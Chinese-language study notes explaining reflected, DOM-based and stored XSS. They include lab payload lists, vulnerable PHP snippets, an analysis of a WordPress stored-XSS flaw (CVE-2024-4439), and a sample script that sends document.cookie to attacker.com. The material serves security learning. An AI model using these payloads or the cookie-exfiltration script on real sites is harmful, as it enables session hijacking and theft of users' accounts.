一、反射型XSS
1.1、原理
介绍:
非持久化,需要用户点击恶意链接触发恶意代码。
反射型XSS是指攻击者通过在URL参数或表单数据中嵌入恶意脚本,服务器将该数据直接反射回用户的浏览器。当用户访问修改过的URL时,恶意脚本在浏览器中执行。
具体形式:
1.2、payload
#参考靶场xss-labs-master
<script>alert()</script>
<script>alert()</script>
onfocus=javascript:alert() /*需要点击**/
onclick=javascript:alert() /*需要点击**/
<a href=javascript:alert()>x</a> /*需要点击**/
<img src='x' onerror=alert()>
onfocus=alert() autofocus=
<svg onload="alert(1337)">
1.3、示例
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
我们输入:1' οnclick='alert(1)
二、DOM型XSS
1.1、原理
介绍:
不需要经过后端代码处理,在前端javascript调用DOM元素时产生的漏洞。
DOM型XSS是指漏洞存在于客户端的JavaScript代码中,攻击者通过修改网页的DOM结构,导致恶意脚本的执行。攻击并不依赖于服务器的响应,而是通过恶意脚本直接修改浏览器中加载的文档。
具体形式:
1、攻击者构造恶意URL
2、用户点击或访问链接
3、页面加载时,前端JavaScript读取location.hash、location.search或document.URL等数据
4、未经过滤处理的恶意数据被插入DOM,导致执行恶意脚本
1.2、payload
<div id="URL"></div>
<script>
document.getElementById('URL').innerHTML = decodeURI(location.href); //location.href用于返回当前显示的文档的URL
</script>
//构造的当前页面的URL如下:
http://localhost:8000/domxss.html?<img src=0 onerror="alert("XSS")">
//因此,受害者访问该URL后,由于载入图像失败,因此触发onerror事件,执行URL中指定的JavaScript弹窗代码(弹窗中显示“XSS”)。
1.3、示例
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
我们输入:
<script>
document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '" />');
</script>
浏览器中的cookie就会发送到我们的服务器(attacker.com)
三、存储型XSS
1.1、原理
介绍:
攻击者提交数据:攻击者向一个可以存储用户输入的系统提交包含恶意代码的输入,比如评论区、用户资料、论坛帖子等。
数据存储:服务器存储了用户提交的数据,包括其中的恶意代码。
用户查看数据:其他用户在查看这些存储的数据时,服务器将数据从数据库中提取并发送到用户的浏览器。
恶意代码执行:当用户的浏览器渲染返回的数据时,恶意代码被执行。
数据被窃取:用户的数据会传到攻击者的服务器上,这可能导致各种后果,比如窃取cookie、劫持会话、重定向用户到恶意网站等。
具体形式:
1.2、payload
<script>window.open(\'http://localhost/CrackTest/xsstest/test.php?
cookie=\'+document.cookie)</script>
1.3、示例
cve-2024-4439 wordpress 存储型xss
if ( '_blank' === $attributes['linkTarget'] ) {
$label = 'aria-label="' . sprintf( esc_attr__( '(%s website link, opens in a new tab)' ), $comment->comment_author ) . '"';
}
$avatar_block = sprintf( '<a href="%1$s" target="%2$s" %3$s class="wp-block-avatar__link">%4$s</a>', esc_url( $comment->comment_author_url ), esc_attr( $attributes['linkTarget'] ), $label, $avatar_block );
}
return sprintf( '<div %1s>%2s</div>', $wrapper_attributes, $avatar_block );
其实这里一开始看并没有看出什么问题,细看会发现esc_attr__函数并没有包裹
$comment->comment_author,也就是没有对$comment->comment_author进行处理,
最终通过sprintf翻译输出了$comment->comment_author,在下面的代码中直接就将
$label嵌入到了target="%2$s之后,这就导致了XSS的问题。